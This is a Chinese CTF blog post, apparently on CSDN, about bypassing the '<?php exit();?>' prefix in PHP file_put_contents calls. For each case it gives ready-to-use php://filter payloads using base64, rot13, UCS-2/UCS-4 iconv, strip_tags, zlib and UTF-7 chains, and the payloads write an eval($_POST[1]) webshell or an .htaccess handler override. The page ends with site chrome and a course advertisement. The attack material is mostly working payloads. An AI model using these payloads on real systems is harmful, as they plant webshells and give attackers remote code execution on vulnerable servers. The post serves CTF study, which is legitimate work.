ctf 死亡exit绕过

小知识 专栏收录该内容
1 篇文章 0 订阅

死亡exit绕过

这里分三种情况讨论

file_put_contents($filename,"<?php exit();?>".$content);
file_put_contents($content,"<?php exit();?>".$content);
file_put_contents($content,"<?php exit();?>".\nxxxxx);

两个变量可控

先说第一种情况绕过思路:
利用php://filter的过滤器,把死亡exit转化为php无法识别的内容或者去除掉,而payload经过过滤器最终变回php原样。

base64绕过

base64只能识别64个字符a-z0-9A-Z+],<?php exit;?>识别为phpexit,解码以4byte一组

$filename=php://filter/write=convert.base64-decode/resource=1.php
$content=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ #payload的base64编码前加上a,与phpexit凑够8byte,2组

phpexita解码为?^?Zpayload解码为<?php eval($_POST[1]);?>

rot13编码

<?php exit;?>经rot13解码为<?cuc rkvg;?>,在不开启短标签时php不识别

$filename=php://filter/write=string.rot13/resource=1.php
$content=<?cuc riny($_CBFG[1]);?>

iconv过滤器

usc-2编码

iconv(编码类型一,编码类型二,字符串),把字符串从编码类型一转换为编码类型二

usc-2编码的作用是对目标字符串每两位进行一反转,因为是每两位进行一反转,所以要为偶数位

$test = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[1]);?>');
echo "第一次转换:".$test;
$test = iconv("UCS-2LE","UCS-2BE", $test);
echo "第二次转换:".$test;

#第一次转换:?<hp pvela$(P_SO[T]1;)>?第二次转换:<?php eval($_POST[1]);?>
$filename=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=2.php
$content=a?<hp pvela$(P_SO[T]1;)>? #a与<?php exit;?>组合经过编码转换后无效,一句话再次编码转换变回正常一句话
usc-4编码
$test = iconv("UCS-4LE","UCS-4BE", '<?php eval($_POST[1]);?>');
echo "第一次转换:".$test;
$test = iconv("UCS-4LE","UCS-4BE", $test);
echo "第二次转换:".$test;

#第一次转换:hp?<ve p$(laSOP_]1[T>?;)第二次转换:<?php eval($_POST[1]);?>
$filename=php://filter/write=convert.iconv.UCS-4LE.UCS-4BE/resource=2.php
$content=ahp?<ve p$(laSOP_]1[T>?;)

写入配置文件

写入.htaccess .user.ini等文件

$filename=php://filter/write=string.strip_tags/resource=.htaccess
$content=AddType application/x-httpd-php .php .png

组合编码器

strip_tags配合base

string.strip_tags方法去除html,php标签,等同于strip_tags函数

用string.strip_tags方法去除<?php exit;?>,convert.base64-decode解码payload

$filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=1.php
$content=PD9waHANCmV2YWwoJF9QT1NUWzFdKTsNCj8+
压缩配合小写转换

先进行压缩,转换小写,最后进行解压

死亡exit转换为php无法识别的内容,而payload仍正常

$filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=shell1.php
$content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_POST[1]);?>/resource=shell1.php #这里空格要%0d编码

一个变量可控

第二种情况绕过思路:
与第一种情况无大差异,利用编码把死亡exit转化或去掉,而payload可以写在过滤器处(过滤器不存在时报错但不停止脚本运行)或文件名处

base64解码绕过

php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=shell1.php
php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php

对于上面两个’payload’,看似可行

然而因为base64的等号是进行位补充,也是结束的标志

内容中出现的等号出现导致无法正常解码,文件可以生成,但是因为解码不成功导致无法写入内容

$content=php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHANCmV2YWwoJF9QT1NUWzFdKTsNCj8%2B.php

可以把payload作为目录:

php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHANCmV2YWwoJF9QT1NUWzFdKTsNCj8%2B/../shell1.php

rot13编码

php://filter/write=string.rot13|<?cuc riny($_CBFG[1]);?>|/resource=s1mple.php

iconv编码器

usc-2编码
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pvela$(P_SO[T]1;)>?/resource=s1mple.php
usc-4编码
php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<ve p$(laSOP_]2[T>?;)/resource=222222.php

这个只能写入下面情况:

<?php exit();
utf7转utf8

utf7转为utf8时,等号被转化了(转化为+AD0-,而且可以正常base64解码,这就防止了无法正常解码而无法写入内容),而payload只是在最后多加一个减号,这时候影响base64的等号被绕过

php://filter/write=PD9waHANCmV2YWwoJF9QT1NUWzFdKTsNCj8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell1.php

写入配置文件

php://filter/write=string.strip_tags|?>AddType application/x-httpd-php .php .png%0a%23/resource=.htaccess

这里只能应用于下面的情况(因为.htaccess文件对编排极其敏感,稍有不对就无法执行):

<?php exit();

假设以下情况:

<?php exit();?>

string.strip_tags过滤器去除了前面的死亡exit,但是.htaccess文件会把前面的协议也写进去了,导致无法执行

第三种情况

这个以后再写吧

这里只是记录用法

原理可参看:https://cyc1e183.github.io/2020/04/03/%E5%85%B3%E4%BA%8Efile_put_contents%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%B5%8B%E8%AF%95/

  • 1
    点赞
  • 1
    评论
  • 1
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

<h4 style="font-weight:500;font-size:1.5rem;font-family:'PingFang SC', 'Hiragino Sans GB', Arial, 'Microsoft YaHei', Verdana, Roboto, Noto, 'Helvetica Neue', sans-serif;color:#222226;background-color:#ffffff;text-align:center;"> <span style="font-size:14px;">期末</span><span style="font-size:14px;background-color:#fbeeb8;">考点</span><span style="font-size:14px;">都对应</span><span style="font-size:14px;background-color:#fbeeb8;">详解视频</span><span style="font-size:14px;">,</span><span style="font-size:14px;"><span style="color:#e03e2d;">基础阶段</span></span><span style="font-size:14px;">内容全面,语言通俗易懂(翻译书中的语言为</span><span style="font-size:14px;background-color:#fbeeb8;">人话)</span><span style="font-size:14px;">,</span> </h4> <h4 style="font-weight:500;font-size:1.5rem;font-family:'PingFang SC', 'Hiragino Sans GB', Arial, 'Microsoft YaHei', Verdana, Roboto, Noto, 'Helvetica Neue', sans-serif;color:#222226;background-color:#ffffff;text-align:center;"> <span style="font-size:14px;">老师精心研究</span><span style="font-size:14px;background-color:#fbeeb8;">百份</span><span style="font-size:14px;">考卷,总结每一个考点,同时结合你肯定可以听懂的骚话,</span> </h4> <h4 style="font-weight:500;font-size:1.5rem;font-family:'PingFang SC', 'Hiragino Sans GB', Arial, 'Microsoft YaHei', Verdana, Roboto, Noto, 'Helvetica Neue', sans-serif;color:#222226;background-color:#ffffff;text-align:center;"> <span style="font-size:14px;background-color:#fbeeb8;">扫清你的数据库系统盲区</span> </h4> <h4 style="font-weight:500;font-size:1.5rem;font-family:'PingFang SC', 'Hiragino Sans GB', Arial, 'Microsoft YaHei', Verdana, Roboto, Noto, 'Helvetica Neue', sans-serif;color:#222226;background-color:#ffffff;text-align:center;"> <span style="font-size:14px;"><span style="color:#e03e2d;">真题阶段</span></span><span style="font-size:14px;">为你提供</span><span style="font-size:14px;background-color:#fbeeb8;">解题思路</span><span style="font-size:14px;">,培养你的</span><span style="font-size:14px;background-color:#fbeeb8;">解题思维</span><span style="font-size:14px;">,同时</span><span style="font-size:14px;background-color:#fbeeb8;">点明考点</span><span style="font-size:14px;">,结合文档进行重点解读,加深你的印象.</span> </h4> <h4 style="font-weight:500;font-size:1.5rem;font-family:'PingFang SC', 'Hiragino Sans GB', Arial, 'Microsoft YaHei', Verdana, Roboto, Noto, 'Helvetica Neue', sans-serif;color:#222226;background-color:#ffffff;text-align:center;"> <span style="font-size:14px;color:#3598db;">只为你的高分,我们交个朋友!让每位学生都可以学的起!!</span> </h4> <p> <span style="font-size:14px;color:#3598db;"><img src="https://img-bss.csdnimg.cn/202103040423318088.png" alt="" width="788" height="450" /></span> </p>
©️2021 CSDN 皮肤主题: 数字20 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值